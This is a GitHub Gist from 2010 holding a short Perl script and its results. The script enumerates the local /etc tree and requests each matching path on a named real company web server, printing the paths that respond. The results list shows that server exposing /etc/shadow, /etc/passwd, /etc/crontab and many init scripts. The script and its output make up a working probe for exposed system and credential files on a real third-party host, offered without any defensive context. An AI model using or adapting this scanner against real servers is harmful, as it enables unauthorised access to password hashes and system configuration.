Created
October 20, 2010 15:55
-
-
Save bessarabov/636690 to your computer and use it in GitHub Desktop.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
From: http://friendfeed.com/bobuk/c6a3d237 | |
Script: | |
{{{ | |
#!/usr/bin/perl | |
use Modern::Perl; | |
use File::Find; | |
use LWP::UserAgent; | |
my $base = "http://root.yandex.ru"; | |
find(\&tree, '/etc'); | |
sub tree { | |
if ( get_status("$base$File::Find::name") == 200 ) { | |
say "$base$File::Find::name"; | |
} | |
sleep (2); | |
} | |
say "end"; | |
sub get_status { | |
my ($url) = @_; | |
my $ua = LWP::UserAgent->new; | |
my $req = HTTP::Request->new(GET => $url); | |
my $res = $ua->request($req); | |
$res->status_line =~ /^(\d+)/; | |
return $1; | |
} | |
}}} | |
Results: | |
{{{ | |
http://root.yandex.ru/etc/shadow- | |
http://root.yandex.ru/etc/passwd- | |
http://root.yandex.ru/etc/passwd | |
http://root.yandex.ru/etc/shadow | |
http://root.yandex.ru/etc/crontab | |
http://root.yandex.ru/etc/logcheck | |
http://root.yandex.ru/etc/logcheck/ignore.d.server | |
http://root.yandex.ru/etc/logcheck/ignore.d.server/mysql-server-5_1 | |
http://root.yandex.ru/etc/logcheck/ignore.d.server/mysql-server-5_0 | |
http://root.yandex.ru/etc/logcheck/ignore.d.server/ntpdate | |
http://root.yandex.ru/etc/logcheck/ignore.d.server/ntp | |
http://root.yandex.ru/etc/logcheck/ignore.d.server/fetchmail | |
http://root.yandex.ru/etc/logcheck/ignore.d.workstation | |
http://root.yandex.ru/etc/logcheck/ignore.d.workstation/mysql-server-5_1 | |
http://root.yandex.ru/etc/logcheck/ignore.d.workstation/mysql-server-5_0 | |
http://root.yandex.ru/etc/logcheck/ignore.d.workstation/fetchmail | |
http://root.yandex.ru/etc/logcheck/ignore.d.paranoid | |
http://root.yandex.ru/etc/logcheck/ignore.d.paranoid/mysql-server-5_1 | |
http://root.yandex.ru/etc/logcheck/ignore.d.paranoid/mysql-server-5_0 | |
http://root.yandex.ru/etc/rc0.d | |
http://root.yandex.ru/etc/rc0.d/S40umountfs | |
http://root.yandex.ru/etc/rc0.d/K23mysql-ndb-mgm | |
http://root.yandex.ru/etc/rc0.d/S60umountroot | |
http://root.yandex.ru/etc/rc0.d/K21mysql | |
http://root.yandex.ru/etc/rc0.d/S20sendsigs | |
http://root.yandex.ru/etc/rc0.d/K11atd | |
http://root.yandex.ru/etc/rc0.d/K25hwclock.sh | |
http://root.yandex.ru/etc/rc0.d/K20memcached | |
http://root.yandex.ru/etc/rc0.d/K20nagios-nrpe-server | |
http://root.yandex.ru/etc/rc0.d/K09apache2 | |
http://root.yandex.ru/etc/rc0.d/K20sleep | |
http://root.yandex.ru/etc/rc0.d/K20postgresql | |
http://root.yandex.ru/etc/rc0.d/S36ifupdown | |
http://root.yandex.ru/etc/rc0.d/S32portmap | |
http://root.yandex.ru/etc/rc0.d/S31umountnfs.sh | |
http://root.yandex.ru/etc/rc0.d/K20gearman-job-server | |
http://root.yandex.ru/etc/rc0.d/K63mountoverflowtmp | |
http://root.yandex.ru/etc/rc0.d/K86avahi-daemon | |
http://root.yandex.ru/etc/rc0.d/K23ntp | |
http://root.yandex.ru/etc/rc0.d/K20rsync | |
http://root.yandex.ru/etc/rc0.d/K20postfix | |
http://root.yandex.ru/etc/rc0.d/K21fam | |
http://root.yandex.ru/etc/rc0.d/K15fetchmail | |
http://root.yandex.ru/etc/rc0.d/K18nagios3 | |
http://root.yandex.ru/etc/rc0.d/S90halt | |
http://root.yandex.ru/etc/rc0.d/K20openbsd-inetd | |
http://root.yandex.ru/etc/rc0.d/S30urandom | |
http://root.yandex.ru/etc/rc0.d/K20exim4 | |
http://root.yandex.ru/etc/rc0.d/K20nginx | |
http://root.yandex.ru/etc/rc0.d/S35networking | |
http://root.yandex.ru/etc/rc0.d/K20ubic-catalyst-sample | |
http://root.yandex.ru/etc/rc0.d/K22mysql-ndb | |
http://root.yandex.ru/etc/rc0.d/K20nfs-common | |
http://root.yandex.ru/etc/rc0.d/K20ubic-ping | |
http://root.yandex.ru/etc/rc0.d/README | |
http://root.yandex.ru/etc/rc0.d/K90rsyslog | |
}}} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment